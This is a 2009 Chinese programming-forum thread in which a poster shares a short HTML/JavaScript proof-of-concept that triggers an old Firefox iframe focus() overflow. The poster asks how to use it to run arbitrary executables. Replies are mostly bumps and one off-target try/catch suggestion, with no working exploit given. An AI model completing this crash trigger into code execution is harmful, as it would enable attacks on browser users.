怎样看出是iframe.contentWindow.focus()的溢出?如何利用该漏洞?

du198710 2009-05-16 06:44:58

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea>
<script>
var textarea = document.getElementsByName("x_OtherInfo");
textarea=textarea.item(0);
var htmlarea = document.createElement("div");
htmlarea.className = "htmlarea";
textarea.parentNode.insertBefore(htmlarea, textarea);
var iframe = document.createElement("iframe");
htmlarea.appendChild(iframe);
var doc = iframe.contentWindow.document;
doc.designMode = "on";
doc.open();
doc.write("<iframe src=''>");
iframe.contentWindow.focus()
doc.close();
</script>
</textarea>

http://www.securident.com/vuln/ff.txt
如何利用它执行任意可执行程序呢?
...全文
438 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
琦天娃娃 2009-05-20
  • 打赏
  • 举报
回复
奉旨帮顶~
du198710 2009-05-18
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 mumucom 的回复:]
try{
iframe.contentWindow.focus()
}catch(ex){
在这里查看ex对象的属性或错误号
}
[/Quote]
我想您理解有所偏差……这里要研究对象不是网页代码,而是火狐浏览器软件的一个溢出错误,我是想知道通过什么样的网页代码能让它触发缓冲区溢出漏洞?
dh20156 2009-05-18
  • 打赏
  • 举报
回复
木有测试环境,FF3.0.10
反对宣传员 2009-05-18
  • 打赏
  • 举报
回复
try{
iframe.contentWindow.focus()
}catch(ex){
在这里查看ex对象的属性或错误号
}
sj2love0qh 2009-05-18
  • 打赏
  • 举报
回复
不会,帮顶
du198710 2009-05-18
  • 打赏
  • 举报
回复
自己顶下~不知道的路过也帮忙顶下啦,就当我散分好不……
一方晴空 2009-05-17
  • 打赏
  • 举报
回复
帮顶^
du198710 2009-05-17
  • 打赏
  • 举报
回复
这个是火狐1.5.02版的一个漏洞,我只是想通过它实现一个演示性的程序
如果有正确解答双倍给分哈~
另外:帮顶的都有分!

65,210

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧